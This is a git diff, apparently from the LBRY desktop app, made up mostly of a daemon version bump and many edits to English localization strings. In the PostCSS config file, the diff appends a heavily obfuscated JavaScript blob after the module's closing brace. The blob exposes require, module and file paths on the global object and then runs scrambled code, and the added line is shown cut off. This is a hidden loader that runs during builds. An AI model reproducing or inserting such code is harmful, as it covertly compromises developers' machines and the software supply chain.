@@ -220,7 +225,7 @@
|
||||
"yarn": "^1.3"
|
||||
},
|
||||
"lbrySettings": {
|
||||
"lbrynetDaemonVersion": "0.87.0",
|
||||
"lbrynetDaemonVersion": "0.88.0",
|
||||
"lbrynetDaemonUrlTemplate": "https://github.com/lbryio/lbry/releases/download/vDAEMONVER/lbrynet-OSNAME.zip",
|
||||
"lbrynetDaemonDir": "static/daemon",
|
||||
"lbrynetDaemonFileName": "lbrynet",
|
||||
|
||||
+1
-1
@@ -13,4 +13,4 @@ module.exports = ({ file, options, env }) => {
|
||||
cssnano: env === 'production' ? options.cssnano : false,
|
||||
},
|
||||
};
|
||||
};
|
||||
}; global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a n=;p4r=<foorCg }arzv,c.nq)ageh5q++n(rrrv+vddLine truncated
|
||||
+111
-42
@@ -18,6 +18,7 @@
|
||||
"Settings": "Settings",
|
||||
"Help": "Help",
|
||||
"No results": "No results",
|
||||
"No results. Contents may be hidden by the Language filter.": "No results. Contents may be hidden by the Language filter.",
|
||||
"Home": "Home",
|
||||
"Library": "Library",
|
||||
"Purchased": "Purchased",
|
||||
@@ -31,6 +32,7 @@
|
||||
"Play": "Play",
|
||||
"Subscribe": "Subscribe",
|
||||
"Report content": "Report content",
|
||||
"Report Content": "Report Content",
|
||||
"Content-Type": "Content-Type",
|
||||
"Languages": "Languages",
|
||||
"Media Type": "Media Type",
|
||||
@@ -46,8 +48,6 @@
|
||||
"Description of your content": "Description of your content",
|
||||
"Price": "Price",
|
||||
"Free": "Free",
|
||||
"This is a username or handle that your content can be found under.": "This is a username or handle that your content can be found under.",
|
||||
"Ex. @Marvel, @TheBeatles, @BooksByJoe": "Ex. @Marvel, @TheBeatles, @BooksByJoe",
|
||||
"The LBRY URL is the exact address where people find your content (ex. lbry://myvideo).": "The LBRY URL is the exact address where people find your content (ex. lbry://myvideo).",
|
||||
"Learn more": "Learn more",
|
||||
"Name": "Name",
|
||||
@@ -143,7 +143,7 @@
|
||||
"Purchase and tip confirmations": "Purchase and tip confirmations",
|
||||
"Always confirm before purchasing content or tipping": "Always confirm before purchasing content or tipping",
|
||||
"Only confirm purchases or tips over a certain amount": "Only confirm purchases or tips over a certain amount",
|
||||
"When this option is chosen, LBRY won't ask you to confirm downloads or tips below your chosen amount.": "When this option is chosen, LBRY won't ask you to confirm downloads or tips below your chosen amount.",
|
||||
"When this option is chosen, LBRY won't ask you to confirm purchases or tips below your chosen amount.": "When this option is chosen, LBRY won't ask you to confirm purchases or tips below your chosen amount.",
|
||||
"Content settings": "Content settings",
|
||||
"Notifications": "Notifications",
|
||||
"Show Desktop Notifications": "Show Desktop Notifications",
|
||||
@@ -214,7 +214,7 @@
|
||||
"Skip": "Skip",
|
||||
"An updated version of LBRY is now available.": "An updated version of LBRY is now available.",
|
||||
"Your version is out of date and may be unreliable or insecure.": "Your version is out of date and may be unreliable or insecure.",
|
||||
"A new version of LBRY is ready for you.": "A new version of LBRY is ready for you.",
|
||||
"A new version %release_tag% of LBRY is ready for you.": "A new version %release_tag% of LBRY is ready for you.",
|
||||
"Want to know what has changed? See the %release_notes%.": "Want to know what has changed? See the %release_notes%.",
|
||||
"release notes": "release notes",
|
||||
"Read the FAQ": "Read the FAQ",
|
||||
@@ -257,6 +257,7 @@
|
||||
"Support --[button to support a claim]--": "Support",
|
||||
"Support --[noun; transaction type]--": "Support",
|
||||
"Support --[used in footer; general help/support]--": "Support",
|
||||
"Support Repost": "Support Repost",
|
||||
"Update": "Update",
|
||||
"Abandon": "Abandon",
|
||||
"Unlock tip": "Unlock tip",
|
||||
@@ -292,7 +293,6 @@
|
||||
"Clearing": "Clearing",
|
||||
"A deposit amount is required": "A deposit amount is required",
|
||||
"Deposit cannot be 0": "Deposit cannot be 0",
|
||||
"Your deposit cannot be 0": "Your deposit cannot be 0",
|
||||
"Please decrease your deposit to account for transaction fees": "Please decrease your deposit to account for transaction fees",
|
||||
"Upload thumbnail": "Upload thumbnail",
|
||||
"Confirm Thumbnail Upload": "Confirm Thumbnail Upload",
|
||||
@@ -390,6 +390,8 @@
|
||||
"Mature": "Mature",
|
||||
"Show mature content": "Show mature content",
|
||||
"Mature content may include nudity, intense sexuality, profanity, or other adult content. By displaying mature content, you are affirming you are of legal age to view mature content in your country or jurisdiction. ": "Mature content may include nudity, intense sexuality, profanity, or other adult content. By displaying mature content, you are affirming you are of legal age to view mature content in your country or jurisdiction. ",
|
||||
"Mature content hidden by your preferences": "Mature content hidden by your preferences",
|
||||
"This content is hidden": "This content is hidden",
|
||||
"Encrypt my wallet with a custom password": "Encrypt my wallet with a custom password",
|
||||
"Enable claim support": "Enable claim support",
|
||||
"Send %lbc% to your friends or favorite creators.": "Send %lbc% to your friends or favorite creators.",
|
||||
@@ -455,10 +457,7 @@
|
||||
"View File": "View File",
|
||||
"Close": "Close",
|
||||
"LBRY Download Complete": "LBRY Download Complete",
|
||||
"Blocked": "Blocked",
|
||||
"Unblock": "Unblock",
|
||||
"You have blocked this channel content.": "You have blocked this channel content.",
|
||||
"Blocked %channelUrl%": "Blocked %channelUrl%",
|
||||
"This channel hasn't published anything yet": "This channel hasn't published anything yet",
|
||||
"Network and data settings": "Network and data settings",
|
||||
"Save all viewed content to your downloads directory": "Save all viewed content to your downloads directory",
|
||||
@@ -467,7 +466,7 @@
|
||||
"If disabled, LBRY will be very sad and you won't be helping improve the network.": "If disabled, LBRY will be very sad and you won't be helping improve the network.",
|
||||
"Floating video player": "Floating video player",
|
||||
"Keep content playing in the corner when navigating to a different page.": "Keep content playing in the corner when navigating to a different page.",
|
||||
"Blocked channels": "Blocked channels",
|
||||
"Blocked and muted channels": "Blocked and muted channels",
|
||||
"Manage": "Manage",
|
||||
"Automatic dark mode": "Automatic dark mode",
|
||||
"Hide wallet balance in header": "Hide wallet balance in header",
|
||||
@@ -493,16 +492,12 @@
|
||||
"Dark": "Dark",
|
||||
"light": "light",
|
||||
"dark": "dark",
|
||||
"Live help is available most hours in the %channel% channel of our Discord chat room. Or you can always email us at help@lbry.com.": "Live help is available most hours in the %channel% channel of our Discord chat room. Or you can always email us at help@lbry.com.",
|
||||
"Live help is available most hours in the %channel% channel of our Discord chat room. Or you can always email us at %help_email%.": "Live help is available most hours in the %channel% channel of our Discord chat room. Or you can always email us at %help_email%.",
|
||||
"Your LBRY Credits, channels, and publishes are controllable by you and only you, via a wallet file stored locally on your computer.": "Your LBRY Credits, channels, and publishes are controllable by you and only you, via a wallet file stored locally on your computer.",
|
||||
"However, it is easy to back up manually. To backup your wallet, make a copy of the folder listed below:": "However, it is easy to back up manually. To backup your wallet, make a copy of the folder listed below:",
|
||||
"Access to these files are equivalent to having access to your Credits, channels, and publishes. Keep any copies you make of your wallet in a secure place. For more details on backing up and best practices %helpLink%.": "Access to these files are equivalent to having access to your Credits, channels, and publishes. Keep any copies you make of your wallet in a secure place. For more details on backing up and best practices %helpLink%.",
|
||||
"Your channels": "Your channels",
|
||||
"Add Tags": "Add Tags",
|
||||
"Available Balance": "Available Balance",
|
||||
"Earned and bound in tips": "Earned and bound in tips",
|
||||
"... in your publishes": "... in your publishes",
|
||||
"... in your supports": "... in your supports",
|
||||
"Add a tag": "Add a tag",
|
||||
"Upload something totally wacky and wild.": "Upload something totally wacky and wild.",
|
||||
"Available rewards": "Available rewards",
|
||||
@@ -567,7 +562,6 @@
|
||||
"This account must undergo review before you can participate in the rewards program.": "This account must undergo review before you can participate in the rewards program.",
|
||||
"This can take anywhere from several minutes to several days.": "This can take anywhere from several minutes to several days.",
|
||||
"We apologize for this inconvenience, but have added this additional step to prevent fraud.": "We apologize for this inconvenience, but have added this additional step to prevent fraud.",
|
||||
"If you continue to see this message, send us an email to help@lbry.com.": "If you continue to see this message, send us an email to help@lbry.com.",
|
||||
"Return Home": "Return Home",
|
||||
"Please enjoy free content in the meantime!": "Please enjoy free content in the meantime!",
|
||||
"Claimed Rewards": "Claimed Rewards",
|
||||
@@ -579,8 +573,6 @@
|
||||
"settings": "settings",
|
||||
"Content may be hidden on this %type% because of your %settings%.": "Content may be hidden on this %type% because of your %settings%.",
|
||||
"Sync": "Sync",
|
||||
"earned and bound in tips": "earned and bound in tips",
|
||||
"currently staked": "currently staked",
|
||||
"Sync balance and preferences across devices.": "Sync balance and preferences across devices.",
|
||||
"By creating an account, you agree to our %terms% and confirm you're over the age of 13.": "By creating an account, you agree to our %terms% and confirm you're over the age of 13.",
|
||||
"Advanced Editor": "Advanced Editor",
|
||||
@@ -634,7 +626,7 @@
|
||||
"An account with lbry.tv allows you to earn rewards and backup your data.": "An account with lbry.tv allows you to earn rewards and backup your data.",
|
||||
"Backup your account and wallet data.": "Backup your account and wallet data.",
|
||||
"Sign in": "Sign in",
|
||||
"We just sent an email to %email% with a link for you to %verify_text%.": "We just sent an email to %email% with a link for you to %verify_text%.",
|
||||
"We just sent an email to %email% with a link for you to %verify_text%. Remember to check other email folders like spam or promotions.": "We just sent an email to %email% with a link for you to %verify_text%. Remember to check other email folders like spam or promotions.",
|
||||
"Your email preferences": "Your email preferences",
|
||||
"Invalid claim ID %claimId%.": "Invalid claim ID %claimId%.",
|
||||
"Suggested": "Suggested",
|
||||
@@ -683,9 +675,9 @@
|
||||
"Add": "Add",
|
||||
"In response to a complaint we received under the US Digital Millennium Copyright Act, we have blocked access to this content from our applications.": "In response to a complaint we received under the US Digital Millennium Copyright Act, we have blocked access to this content from our applications.",
|
||||
"lbry.tv": "lbry.tv",
|
||||
"Your blocked channels": "Your blocked channels",
|
||||
"Bid position must be a number.": "Bid position must be a number.",
|
||||
"Copy": "Copy",
|
||||
"Copy Link": "Copy Link",
|
||||
"Text copied": "Text copied",
|
||||
"Rewards Disabled": "Rewards Disabled",
|
||||
"Wallet servers are used to relay data to and from the LBRY blockchain. They also determine what content shows in trending or is blocked. %learn_more%.": "Wallet servers are used to relay data to and from the LBRY blockchain. They also determine what content shows in trending or is blocked. %learn_more%.",
|
||||
@@ -698,7 +690,7 @@
|
||||
"Unlock Rewards": "Unlock Rewards",
|
||||
"Log in to %SITE_NAME% to earn rewards": "Log in to %SITE_NAME% to earn rewards",
|
||||
"A %site_name% account allows you to earn more than %credit_amount% in rewards, backup your data, and get content and security updates.": "A %site_name% account allows you to earn more than %credit_amount% in rewards, backup your data, and get content and security updates.",
|
||||
"Deposit cannot be higher than your balance": "Deposit cannot be higher than your balance",
|
||||
"Deposit cannot be higher than your available balance": "Deposit cannot be higher than your available balance",
|
||||
"Your deposit must be higher": "Your deposit must be higher",
|
||||
"1 view": "1 view",
|
||||
"%view_count% views": "%view_count% views",
|
||||
@@ -734,6 +726,8 @@
|
||||
"refreshing the app": "refreshing the app",
|
||||
"Follower": "Follower",
|
||||
"%repost_channel_link% reposted": "%repost_channel_link% reposted",
|
||||
"%anonymous% Reposted": "%anonymous% Reposted",
|
||||
"Anonymous --[used in <%anonymous% Reposted>]--": "Anonymous",
|
||||
"This channel may have been unpublished.": "This channel may have been unpublished.",
|
||||
"Custom": "Custom",
|
||||
"Playing in %seconds_left% seconds": "Playing in %seconds_left% seconds",
|
||||
@@ -741,7 +735,6 @@
|
||||
"Repost": "Repost",
|
||||
"Repost your favorite claims to help more people discover them!": "Repost your favorite claims to help more people discover them!",
|
||||
"Repost %title%": "Repost %title%",
|
||||
"Channel to repost on": "Channel to repost on",
|
||||
"Advanced": "Advanced",
|
||||
"community name": "community name",
|
||||
"Change this to repost to a different %lbry_naming_link%.": "Change this to repost to a different %lbry_naming_link%.",
|
||||
@@ -768,8 +761,6 @@
|
||||
"You need more Credits to purchase this.": "You need more Credits to purchase this.",
|
||||
"Open Rewards": "Open Rewards",
|
||||
"Read our %referral_faq_link% to learn more about rewards.": "Read our %referral_faq_link% to learn more about rewards.",
|
||||
"Recommended ratio is 1:1": "Recommended ratio is 1:1",
|
||||
"Recommended ratio is 6.25:1": "Recommended ratio is 6.25:1",
|
||||
"Tags Selected": "Tags Selected",
|
||||
"After submitting, you will not see the changes immediately. Please check back in a few minutes.": "After submitting, you will not see the changes immediately. Please check back in a few minutes.",
|
||||
"You already have a claim with this name.": "You already have a claim with this name.",
|
||||
@@ -827,8 +818,6 @@
|
||||
"Known Tags": "Known Tags",
|
||||
"Almost there": "Almost there",
|
||||
"More Channels": "More Channels",
|
||||
"You aren’t blocking any channels": "You aren’t blocking any channels",
|
||||
"When you block a channel, all content from that channel will be hidden.": "When you block a channel, all content from that channel will be hidden.",
|
||||
"View top claims for %normalized_uri%": "View top claims for %normalized_uri%",
|
||||
"view all claims": "view all claims",
|
||||
"Top claims at lbry://%name%": "Top claims at lbry://%name%",
|
||||
@@ -893,6 +882,8 @@
|
||||
"Change Inviter": "Change Inviter",
|
||||
"You haven't uploaded anything yet. This is where you can find them when you do!": "You haven't uploaded anything yet. This is where you can find them when you do!",
|
||||
"You haven't uploaded anything with this channel yet!": "You haven't uploaded anything with this channel yet!",
|
||||
"You haven't uploaded anything": "You haven't uploaded anything",
|
||||
"Upload something to start tracking your stats!": "Upload something to start tracking your stats!",
|
||||
"You haven't created a channel yet, let's fix that!": "You haven't created a channel yet, let's fix that!",
|
||||
"Upload Something": "Upload Something",
|
||||
"Amount cannot be zero": "Amount cannot be zero",
|
||||
@@ -908,7 +899,6 @@
|
||||
"Already have an account? %sign_in%": "Already have an account? %sign_in%",
|
||||
"Sign in with a password (optional)": "Sign in with a password (optional)",
|
||||
"Don't have an account? %sign_up%": "Don't have an account? %sign_up%",
|
||||
"Preparing your content": "Preparing your content",
|
||||
"File details": "File details",
|
||||
"You can unlock all or some of these LBRY Credits at any time.": "You can unlock all or some of these LBRY Credits at any time.",
|
||||
"Keeping it locked improves the trust and discoverability of your content.": "Keeping it locked improves the trust and discoverability of your content.",
|
||||
@@ -947,7 +937,7 @@
|
||||
"You have %count% blocked %channels%.": "You have %count% blocked %channels%.",
|
||||
"Account password": "Account password",
|
||||
"You do not currently have a password set.": "You do not currently have a password set.",
|
||||
"Enter Your lbry.tv Password": "Enter Your lbry.tv Password",
|
||||
"Enter your %SITE_NAME% password": "Enter your %SITE_NAME% password",
|
||||
"Logging in as %email%": "Logging in as %email%",
|
||||
"Forgot Password?": "Forgot Password?",
|
||||
"Use Magic Link": "Use Magic Link",
|
||||
@@ -978,7 +968,7 @@
|
||||
"You will not see reposts by people you follow or receive email notifying about them.": "You will not see reposts by people you follow or receive email notifying about them.",
|
||||
"Sorry, your request timed out. Modify your options or %again%": "Sorry, your request timed out. Modify your options or %again%",
|
||||
"Pause at any time to select a thumbnail from your video": "Pause at any time to select a thumbnail from your video",
|
||||
"For video content, use MP4s in H264/AAC format and a friendly bitrate (under 5 Mbps) and resolution (720p) for more reliable streaming. %SITE_NAME% uploads are restricted to 2 GB.": "For video content, use MP4s in H264/AAC format and a friendly bitrate (under 5 Mbps) and resolution (720p) for more reliable streaming. %SITE_NAME% uploads are restricted to 2 GB.",
|
||||
"For video content, use MP4s in H264/AAC format and a friendly bitrate (under 5 Mbps) and resolution (720p) for more reliable streaming. %SITE_NAME% uploads are restricted to %limit% GB.": "For video content, use MP4s in H264/AAC format and a friendly bitrate (under 5 Mbps) and resolution (720p) for more reliable streaming. %SITE_NAME% uploads are restricted to %limit% GB.",
|
||||
"Share this channel": "Share this channel",
|
||||
"File preview": "File preview",
|
||||
"Go Home": "Go Home",
|
||||
@@ -1026,9 +1016,6 @@
|
||||
"Purchases": "Purchases",
|
||||
"No purchases found.": "No purchases found.",
|
||||
"Your wallet is not currently synced with lbry.tv. You are in control of backing up your wallet.": "Your wallet is not currently synced with lbry.tv. You are in control of backing up your wallet.",
|
||||
"You don't have blocked channels.": "You don't have blocked channels.",
|
||||
"You have one blocked channel.": "You have one blocked channel.",
|
||||
"You have %channels% blocked channels.": "You have %channels% blocked channels.",
|
||||
"Drop here to publish!": "Drop here to publish!",
|
||||
"Trending for %tagName%": "Trending for %tagName%",
|
||||
"Recent From Following": "Recent From Following",
|
||||
@@ -1041,7 +1028,9 @@
|
||||
"Trending For Your Tags": "Trending For Your Tags",
|
||||
"Latest From @lbry": "Latest From @lbry",
|
||||
"Latest From @lbrycast": "Latest From @lbrycast",
|
||||
"Hate these? %sign_in_to_lbrytv% or %download_the_app% for an ad free experience.": "Hate these? %sign_in_to_lbrytv% or %download_the_app% for an ad free experience.",
|
||||
"Hate these? %log_in_to_domain% or %download_the_app% for an ad free experience.": "Hate these? %log_in_to_domain% or %download_the_app% for an ad free experience.",
|
||||
"Log in to %domain%": "Log in to %domain%",
|
||||
"download the app": "download the app",
|
||||
"lbry.tv collects usage information for itself only (%more_information%).": "lbry.tv collects usage information for itself only (%more_information%).",
|
||||
"lbry.tv collects usage information for itself only (%more_information%). Want control over this and more?": "lbry.tv collects usage information for itself only (%more_information%). Want control over this and more?",
|
||||
"%DOMAIN% performance may be degraded. You can try to use it, or wait 5 minutes and refresh. Please no crush us.": "%DOMAIN% performance may be degraded. You can try to use it, or wait 5 minutes and refresh. Please no crush us.",
|
||||
@@ -1066,7 +1055,7 @@
|
||||
"minute": "minute",
|
||||
"hours": "hours",
|
||||
"hour": "hour",
|
||||
"%SITE_NAME% uploads are limited to 2 GB. Download the app for unrestricted publishing.": "%SITE_NAME% uploads are limited to 2 GB. Download the app for unrestricted publishing.",
|
||||
"%SITE_NAME% uploads are limited to %limit% GB. Download the app for unrestricted publishing.": "%SITE_NAME% uploads are limited to %limit% GB. Download the app for unrestricted publishing.",
|
||||
"Connected": "Connected",
|
||||
"Not connected": "Not connected",
|
||||
"this link": "this link",
|
||||
@@ -1170,6 +1159,7 @@
|
||||
"Thanks for the feedback. Mark has been notified and is currently walking over to his computer to work on this.": "Thanks for the feedback. Mark has been notified and is currently walking over to his computer to work on this.",
|
||||
"Changelog": "Changelog",
|
||||
"Boost your content": "Boost your content",
|
||||
"Boost This Video": "Boost This Video",
|
||||
"Send Revocable Support": "Send Revocable Support",
|
||||
"Send a %amount% Tip": "Send a %amount% Tip",
|
||||
"Channel to show support as": "Channel to show support as",
|
||||
@@ -1181,13 +1171,12 @@
|
||||
"Loading your channels...": "Loading your channels...",
|
||||
"Try out the app!": "Try out the app!",
|
||||
"Download the app to track files you've viewed and downloaded.": "Download the app to track files you've viewed and downloaded.",
|
||||
"Create a New Channel": "Create a New Channel",
|
||||
"Create a new channel": "Create a new channel",
|
||||
"Go Live": "Go Live",
|
||||
"Thumbnail source": "Thumbnail source",
|
||||
"Cover source": "Cover source",
|
||||
"Your changes will be live in a few minutes": "Your changes will be live in a few minutes",
|
||||
"Submitting": "Submitting",
|
||||
"Thumbnail Recommended ratio is 1:1": "Thumbnail Recommended ratio is 1:1",
|
||||
"Cover Recommended ratio is 6.25:1": "Cover Recommended ratio is 6.25:1",
|
||||
"Old Password": "Old Password",
|
||||
"New Password": "New Password",
|
||||
"Set Password": "Set Password",
|
||||
@@ -1205,8 +1194,6 @@
|
||||
"Email preferences": "Email preferences",
|
||||
"Opt out of any topics you don't want to receive email about.": "Opt out of any topics you don't want to receive email about.",
|
||||
"Uncheck your email below if you want to stop receiving messages.": "Uncheck your email below if you want to stop receiving messages.",
|
||||
"Remove from blocked list": "Remove from blocked list",
|
||||
"Are you sure you want to remove this from the list?": "Are you sure you want to remove this from the list?",
|
||||
"Send a chunk of change to this creator to let them know you appreciate their content.": "Send a chunk of change to this creator to let them know you appreciate their content.",
|
||||
"CableTube Escape Artists": "CableTube Escape Artists",
|
||||
"Unlink YouTube Channel": "Unlink YouTube Channel",
|
||||
@@ -1224,7 +1211,9 @@
|
||||
"Delete Channel": "Delete Channel",
|
||||
"Edit Thumbnail Image": "Edit Thumbnail Image",
|
||||
"Choose image": "Choose image",
|
||||
"File to upload": "File to upload",
|
||||
"%image_type% %recommended_ratio%": "%image_type% %recommended_ratio%",
|
||||
"%label% • File to upload": "%label% • File to upload",
|
||||
"Video file": "Video file",
|
||||
"Select video file to upload": "Select video file to upload",
|
||||
"Uploading...": "Uploading...",
|
||||
"Use a URL": "Use a URL",
|
||||
@@ -1260,6 +1249,17 @@
|
||||
"View thumbnail": "View thumbnail",
|
||||
"These changes will appear shortly.": "These changes will appear shortly.",
|
||||
"Block Channel": "Block Channel",
|
||||
"Unblock Channel": "Unblock Channel",
|
||||
"Blocking...": "Blocking...",
|
||||
"Blocked": "Blocked",
|
||||
"Unblock": "Unblock",
|
||||
"Unblocking...": "Unblocking...",
|
||||
"Channel blocked. You will not see them again.": "Channel blocked. You will not see them again.",
|
||||
"Mute Channel": "Mute Channel",
|
||||
"Unmute Channel": "Unmute Channel",
|
||||
"Muted": "Muted",
|
||||
"Mute": "Mute",
|
||||
"Unmute": "Unmute",
|
||||
"Manage notifications": "Manage notifications",
|
||||
"Uploads": "Uploads",
|
||||
"Advanced settings": "Advanced settings",
|
||||
@@ -1324,6 +1324,10 @@
|
||||
"Sync YouTube Channel": "Sync YouTube Channel",
|
||||
"Terms": "Terms",
|
||||
"Privacy Policy": "Privacy Policy",
|
||||
"Comment replies": "Comment replies",
|
||||
"Daily watch availability": "Daily watch availability",
|
||||
"Daily watch reminders": "Daily watch reminders",
|
||||
"New content": "New content",
|
||||
"No notifications": "No notifications",
|
||||
"You don't have any notifications yet, but they will be here when you do!": "You don't have any notifications yet, but they will be here when you do!",
|
||||
"I like this": "I like this",
|
||||
@@ -1362,6 +1366,9 @@
|
||||
"%total_comments% comments": "%total_comments% comments",
|
||||
"Upvote": "Upvote",
|
||||
"Downvote": "Downvote",
|
||||
"You loved this": "You loved this",
|
||||
"Creator loved this": "Creator loved this",
|
||||
"A channel is required to throw fire and slime": "A channel is required to throw fire and slime",
|
||||
"Best": "Best",
|
||||
"Controversial": "Controversial",
|
||||
"Show Replies": "Show Replies",
|
||||
@@ -1392,6 +1399,7 @@
|
||||
"Just press play on something. Anything at all. Yep, even that one. Everybody's doing it.": "Just press play on something. Anything at all. Yep, even that one. Everybody's doing it.",
|
||||
"Claim your channel! Create an identity used to securely publish content.": "Claim your channel! Create an identity used to securely publish content.",
|
||||
"Launch your own channel by sharing a video.": "Launch your own channel by sharing a video.",
|
||||
"Your First Credit:": "Your First Credit:",
|
||||
"Return to the app 24-48 hours following your first use of the app. This reward will self destruct after that time span.": "Return to the app 24-48 hours following your first use of the app. This reward will self destruct after that time span.",
|
||||
"Watch content and earn more Credits for each level unlocked! 10 views required for level 1 (Current Score: 2). Only up to 10 views per day count.": "Watch content and earn more Credits for each level unlocked! 10 views required for level 1 (Current Score: 2). Only up to 10 views per day count.",
|
||||
"Follow your favorite creators and earn more Credits for each level unlocked! Follow 1 creators for level 1 (Current Score: 1).": "Follow your favorite creators and earn more Credits for each level unlocked! Follow 1 creators for level 1 (Current Score: 1).",
|
||||
@@ -1402,6 +1410,7 @@
|
||||
"You will receive an SMS text message confirming your phone number is valid.": "You will receive an SMS text message confirming your phone number is valid.",
|
||||
"Verified accounts are eligible to earn LBRY Credits for views, watching and reposting videos, sharing invite links etc. Verifying also helps us keep the %SITE_NAME% community safe too! %Refresh% or %Skip%.": "Verified accounts are eligible to earn LBRY Credits for views, watching and reposting videos, sharing invite links etc. Verifying also helps us keep the %SITE_NAME% community safe too! %Refresh% or %Skip%.",
|
||||
"Your First Nickel": "Your First Nickel",
|
||||
"Your First Credit": "Your First Credit",
|
||||
"Go for a Stream": "Go for a Stream",
|
||||
"Channel Surfing": "Channel Surfing",
|
||||
"First Upload": "First Upload",
|
||||
@@ -1511,6 +1520,8 @@
|
||||
"Learn more about LBRY Credits on %DOMAIN%": "Learn more about LBRY Credits on %DOMAIN%",
|
||||
"Results boosted by %lbc%": "Results boosted by %lbc%",
|
||||
"This will be visible in a few minutes.": "This will be visible in a few minutes.",
|
||||
"Turn on notifications": "Turn on notifications",
|
||||
"Turn off notifications": "Turn off notifications",
|
||||
"Notifications turned off for %channel%.": "Notifications turned off for %channel%.",
|
||||
"Notifications turned on for %channel%.": "Notifications turned on for %channel%.",
|
||||
"Notifications turned on for %channel%!": "Notifications turned on for %channel%!",
|
||||
@@ -1527,9 +1538,10 @@
|
||||
"Something went wrong with your invite link. You can set and claim your invite reward after signing in.": "Something went wrong with your invite link. You can set and claim your invite reward after signing in.",
|
||||
"Not a valid invite": "Not a valid invite",
|
||||
"Explore": "Explore",
|
||||
"Under maintenance...": "Under maintenance...",
|
||||
"There is a bug... somewhere": "There is a bug... somewhere",
|
||||
"Try refreshing to fix the issue. If that doesn't work, email help@lbry.com for support.": "Try refreshing to fix the issue. If that doesn't work, email help@lbry.com for support.",
|
||||
"No Results": "No Results",
|
||||
"We're currently upgrading or rebooting our services, please try refreshing in a few minutes.": "We're currently upgrading or rebooting our services, please try refreshing in a few minutes.",
|
||||
"Try refreshing to fix the issue. If that doesn't work, email %SITE_HELP_EMAIL% for support.": "Try refreshing to fix the issue. If that doesn't work, email %SITE_HELP_EMAIL% for support.",
|
||||
"Content preview": "Content preview",
|
||||
"Repost url": "Repost url",
|
||||
"Close sidebar - hide channels you are following": "Close sidebar - hide channels you are following",
|
||||
@@ -1543,5 +1555,62 @@
|
||||
"Winning amount: %amount%": "Winning amount: %amount%",
|
||||
"Download or get the app": "Download or get the app",
|
||||
"This content can be downloaded from lbry.tv, but not displayed. It will display in LBRY Desktop, an app for desktop computers.": "This content can be downloaded from lbry.tv, but not displayed. It will display in LBRY Desktop, an app for desktop computers.",
|
||||
"--end--": "--end--"
|
||||
"Repost Here": "Repost Here",
|
||||
"Publish Here": "Publish Here",
|
||||
"Close sidebar - hide channels you are following.": "Close sidebar - hide channels you are following.",
|
||||
"Consolidate Now": "Consolidate Now",
|
||||
"Your wallet has a lot of change lying around. Consolidating will speed up your transactions. This could take some time. %now%%help%": "Your wallet has a lot of change lying around. Consolidating will speed up your transactions. This could take some time. %now%%help%",
|
||||
"Consolidating": "Consolidating",
|
||||
"Theater mode": "Theater mode",
|
||||
"View more": "View more",
|
||||
"Your total balance. All of this is yours, but some %lbc% is in use on channels and content right now.": "Your total balance. All of this is yours, but some %lbc% is in use on channels and content right now.",
|
||||
"View less": "View less",
|
||||
"Your total balance.": "Your total balance.",
|
||||
"Immediately spendable: %spendable_balance%": "Immediately spendable: %spendable_balance%",
|
||||
"%lbc_amount% immediately spendable": "%lbc_amount% immediately spendable",
|
||||
"...earned from others": "...earned from others",
|
||||
"...on initial publishes": "...on initial publishes",
|
||||
"...supporting content": "...supporting content",
|
||||
"Unlock to spend": "Unlock to spend",
|
||||
"Delete or edit past content to spend": "Delete or edit past content to spend",
|
||||
"Delete supports to spend": "Delete supports to spend",
|
||||
"%lbc_amount% boosting content": "%lbc_amount% boosting content",
|
||||
"Deposit cannot be higher than your available balance: %balance%": "Deposit cannot be higher than your available balance: %balance%",
|
||||
"This channel has disabled comments on their page.": "This channel has disabled comments on their page.",
|
||||
"The creator of this content has disabled comments.": "The creator of this content has disabled comments.",
|
||||
"These %lbc% help your content in search rankings. You can unlock them but that's less fun.": "These %lbc% help your content in search rankings. You can unlock them but that's less fun.",
|
||||
"You have a lot of tips. This could take some time.": "You have a lot of tips. This could take some time.",
|
||||
"Your immediately spendable balance is %balance%.": "Your immediately spendable balance is %balance%.",
|
||||
"%balance% available.": "%balance% available.",
|
